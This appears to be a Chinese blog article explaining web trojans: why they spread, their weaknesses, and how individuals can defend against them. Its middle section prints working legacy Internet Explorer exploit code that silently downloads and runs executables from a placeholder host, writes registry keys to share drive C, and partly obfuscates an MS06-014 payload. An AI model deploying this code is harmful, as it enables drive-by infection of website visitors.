一、总论
网页木马一直是国内网络流行的东西。(注释,据朋友说,这种东西在国外并不流行。)之所以比较流行我觉得有如下原因:
1.网页木马在各种网络威胁中技术含量相对来说属于较低的类型。这就意味着他便于制作推广。
2.免费空间的增多和个人建站的流行,给网页木马客观附带的造就了很大的生存空间。
3.国内上网人数的奇迹般的递增,使网页木马的受众层增多。
4.国内上网人群目前普遍安全意识较低,很多人使用盗版系统,有时候无法更新补丁或及时更新补丁,(注释,国内网页木马大多是针对windows系统的ie的)使针对ie漏洞型的网页木马生存时间延长。
5.网页木马见效快,(注释,这个并不是证明网页木马效率高,而是因为受众多)
6.很多间接推动网络安全,擅长脚本技术的人很及时地推出了众多简便式的网页木马生成器或网页木马程式。此中icefox(冰狐浪子EST),LCX(haiyangtop.126.com)等对于国内网页木马的流行起到了奠基的作用。
以上jinzhou只是浅显说到网页木马之所以流行的原因。其中也可看到网页木马目前来说还是具有一定优点的,尤其是制作操作简单。和相对收效快的特点。下面简单说说网页木马的一些不足。
1.很多网页木马针对的是特有的ie漏洞。(注释,关于详细情形,以下论述)一旦漏洞补上,网页木马失效。ie的漏洞相对系统的核心漏洞来说,修补比较容易。(注释,何况有些人根本就不是用ie和ie内核浏览器)
2.网页木马的绝对命中率较低,一般来说10%就很不错了。(注释,这由多种原因造成,比如受众方做了其他限制,一些杀毒软件或监控软件的干扰和警示,对相关运行网页木马的一些控件的解除,比如更名或删除debug和wsh等会使一些网页木马无法成功,一些安全监视工具会提示异常运行等等)
3.网页木马没有固定目标。缺乏针对性,一定意义上,它只是等着别人来中,它不能主动地选择受众。
4.网页木马很难感染一些重要部门的重要机器而不被发现。网页木马常常无力顾及木马被下载后的深入隐藏。很容易被一些有基础安全知识的人查获。
5.因为网页木马一旦应用,即等于间接性的公开了脚本,具有时效性。几乎不可能有永远好使的网页木马,(注释,指的是网页木马的流程),而一些rootkit甚至能隐藏10年。网页木马类流行很少过年。
目前网页木马的主要危害,我觉得主要是利用网页木马控制大量机器,间接形成僵尸网络进行利用tcp/ip协议漏洞的DOS/DDOS攻击。和一些其他的商业非法活动,例如投票,发布商业广告,作为跳板的一些渗透等。很多时候能造成极大的危害。也就是说网页木马的利用趋势已经由开始的恶作剧性的对某些机器的窥视变成了利用受众机器形成一种力量转做为攻击和谋求商业利益的武器。
二、网页木马的基本工作流程
网页木马的基本工作流程,大致是,
1.受众打开含有网页木马代码的网页;
2.网页木马利用ie漏洞或者一些脚本功能下载一个可执行文件或脚本。(注释,很多时候根据需要附带同时纪录用户ip)

如以下代码

 <script language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"jinzhou.exe#version=1,1,1,1\">"
run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>提示,网页加载中,请稍后....正在运行木马</H1></HTML>";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>

保存为jinzhou.html然后在同目录下放一个exe文件,起名为jinzhou.exe.运行jinzhou.html,会出现提示,网页加载中,请稍后....正在运行木马,然后那个jinzhou.exe就会运行。(注释,本地和远程都会提示,一般稍有一点安全意识的都不会中,不过事实上这种方法现在仍然会使很多极其不小心的人上当。此流程比较经典。)

< script language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\
Flags",402,"REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\
Type",0,"REG_DWORD"
);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\
Path","C:\\");
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>

调用本地控件写注册表的代码。此代码是共享c,当然你可以共享任何盘。

<script language="vbscript"> const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3 set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","http://www.xxx.com/jinzhou.EXE", false
xmlHTTP.send
contents = xmlHTTP.responseBody Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open oStr.Write(contents)
oStr.SaveToFile "c:\\jinzhou.exe", adSaveCreateOverwrite </script>

上面以前的Adodb.Stream文件下载代码核心部分。

<script language="VBScript">
on error resume next
dl = "http://www.xxx.com/jinzhou.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>

以上MS06014利用代码核心。
综合以上,大致可以看出,网页木马的基础就是非法让受众在不知觉得情况下改变用户配置或下载运行非法程序以非法谋取自己的非法利益。不在一一举例。在网页木马的历史上影响重大的还有MHT漏洞即Windows在处理畸形MHTML,能执行任意远程脚本代码。(注释,国内一般称为chm木马。冰狐浪子对此有很详细的文章。)木马有2个组成部分,一个是利用MHT漏洞的恶意网页代码,另一个是包含恶意程序的CHM文件。把它们都放到网站上,用户访问恶意网页时,会在没有任何安全提示的情况下,自动下载远程CHM文件中的程序并运行。HHCTRL漏洞,HTML帮助ActiveX控件存在问题,利用它可以进行跨安全区域脚本执行,从而可以下载并自动执行远程恶意程序。HTA漏洞,IE浏览器允许HTA类型的代码以全部权限运行。远程HTA代码可以调用Wscript.Shell等控件执行用户本地的任意程序,iframe溢出等等。网上相关资料较多。不再赘述。总体来说,网页木马的制作并不复杂,它的重点往往会在加密和辅助的隐藏上。
三、网页木马的基本防范
网页木马的基本防范大概如下几点,(注释,针对个人的,网页木马绝大多数受众都是个人。)
1.卸载或者改名whs脚本宿主。删除注册表{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
{0D43FE01-F093-11CF-8940-00A0C9054228},运行regsvr32 scrrun.dll /u 卸载控件等。
2.在我的电脑,属性,高级,环境变量中,PATHEXT删除一些危险的变量,如vbs,vbe,js等。或在文件夹选项,文件类型中更改vbs,Windows Script Host等的关联。
3.禁用ftp,tftp,或改变端口。等防止网页木马的利用途径。找到C:\windows\system32\drivers\Etc 记事本打开其中的services文件会看到一些对应的端口,改一下保存就行了。改名debug等。
4.最好安装杀毒软件。打开实时监控,一般网页木马杀毒还是会报警的。
5.提高警惕性,一旦发现ie运行不正常,比如卡或者无故死掉,或者一场闪出,养成立刻检查系统的习惯。
6.多注意查看网页源代码,无论多么高明的网页木马,在源代码中也可以看出端倪。
7.注意更新系统补丁。
等等。
(注释,以上为个人见解,技术日新月异,不一定有效全面,个人愚笨,在学习中,不足之处见谅。另,文中一些代码可能会被杀毒报警,无害。)

服务器安全基础知识系列(三)关于网页木马相关推荐

  1. 线程基础知识系列(三)线程的同步

    本文是系列的第三篇,前面2篇,主要是针对单个线程如何管理,启动等,没有过多涉及多个线程是如何协同工作的. 线程基础知识系列(二)线程的管理 :线程的状态,控制,休眠,Interrupt,yield等 ...

  2. c# getresponsestream返回byte[]_C# 基础知识系列-13 常见类库(三)

    0. 前言 在<C# 基础知识系列- 13 常见类库(二)>中,我们介绍了一下DateTime和TimeSpan这两个结构体的内容,也就是C#中日期时间的简单操作.本篇将介绍Guid和Nu ...

  3. Python复习系列:Python基础知识(三)

    Python基础知识(三) Python基础知识(三) (一)循环结构和选择结构 1. 条件表达式 2. 选择结构 2.1 单分支选择结构 2.2 双分支选择结构 2.3 多分支选择结构 2.4 选择 ...

  4. [C#基础知识系列]专题十七:深入理解动态类型

    本专题概要: 动态类型介绍 为什么需要动态类型 动态类型的使用 动态类型背后的故事 动态类型的约束 实现动态行为 总结 引言: 终于迎来了我们C# 4中特性了,C# 4主要有两方面的改善--Com 互 ...

  5. c# string 占位符_C# 基础知识系列- 9 字符串的更多用法(一)

    0. 前言 在前面的文章里简单介绍了一下字符串的相关内容,并没有涉及到更多的相关内容,这一篇将尝试讲解一下在实际开发工作中会遇到的字符串的很多操作. 1. 创建一个字符串 这部分介绍一下如何创建一个字 ...

  6. [WPF 基础知识系列] —— 绑定中的数据校验Vaildation

    [WPF 基础知识系列] -- 绑定中的数据校验Vaildation 原文:[WPF 基础知识系列] -- 绑定中的数据校验Vaildation 前言: 只要是有表单存在,那么就有可能有对数据的校验需 ...

  7. c#物联网_C# 基础知识系列- 16 开发工具篇

    0. 前言 这是C# 基础知识系列的最后一个内容讲解篇,下一篇是基础知识-实战篇.这一篇主要讲解一下C#程序的结构和主要编程工具. 1. 工具 工欲善其事必先利其器,在实际动手之前我们先来看看想要编写 ...

  8. android 集成同一interface不同泛型_C# 基础知识系列- 10 反射和泛型(二)

    0. 前言 这篇文章延续<C# 基础知识系列- 5 反射和泛型>,继续介绍C#在反射所开发的功能和做的努力.上一篇文章大概介绍了一下泛型和反射的一些基本内容,主要是通过获取对象的类型,然后 ...

  9. c# contains方法_C# 基础知识系列- 3 集合数组

    简单的介绍一下集合,通俗来讲就是用来保管多个数据的方案.比如说我们是一个公司的仓库管理,公司有一堆货物需要管理,有同类的,有不同类的,总而言之就是很多.很乱.我们对照集合的概念对仓库进行管理的话,那么 ...

  10. 游戏开发unity基础知识系列:(一)unity 2019 下载与安装

    游戏开发unity基础知识系列:(一)unity 2019 下载与安装 声明:未经作者允许,严禁商用,转载请标明出处和来源,谢谢 零.前言 本人在unity2d方面使用较多,关于unity的使用后面预 ...

最新文章

  1. 第三次学JAVA再学不好就吃翔(part71)--BigDecimal类
  2. asp.net下载的三种方式
  3. USACO-Section1.3 Name That Number (遍历与字符串比较)
  4. 电脑工具栏怎么调整到下面_PDF格式的合同怎么盖公章?这不是在为难我胖虎吗?...
  5. Rust : RUST_BACKTRACE=1错误提示
  6. python操作腾讯文档_python查看文档
  7. 《计算机组成与CPU设计实验》实验6 彩灯控制器实验
  8. Verilog——秒计数器
  9. Mysql 数据备份(详细教程)
  10. IOTA--帮你构建安全的边缘计算网络
  11. 关于servlet和jsp的学习总结二(详细)
  12. 火焰课堂java_通过火焰图引入Java剖析
  13. linux批量删除screen,你不知道的linux系统中强大的screen命令
  14. linux 服务器下查看防火墙
  15. 【学习求职必备】认真认识一下世界末日那年成立的“华为诺亚方舟实验室”...
  16. 第十九章 蚂蚁靠什么绊倒大象
  17. 如何将计算机恢复到桌面快捷方式,电脑桌面图标都没了?解答如何轻松恢复桌面图标...
  18. GNSS/INS松组合算法原理简介
  19. Git工具常用命令详解
  20. 基于python/django的图书管理系统

热门文章

  1. 综合布线系统计算机网络,综合布线 计算机网络系统
  2. 牌匾设计软件测试自学,回弹检测测点
  3. 主流开源 BI 产品对比---------2020开源BI工具都有哪些,哪个好用
  4. python时间序列函数_Python中的时间序列分解函数
  5. 计算机在护理专业中的论文题目,护理专业论文格式(通用模板)
  6. 一个简单的makefile编写(gcc)
  7. 中国象棋游戏设计与实现
  8. 火狐版Idm配合油猴使用教程
  9. visio用例图箭头怎么画_Visio画图(一):UML用例图
  10. html字体播放,Html 字体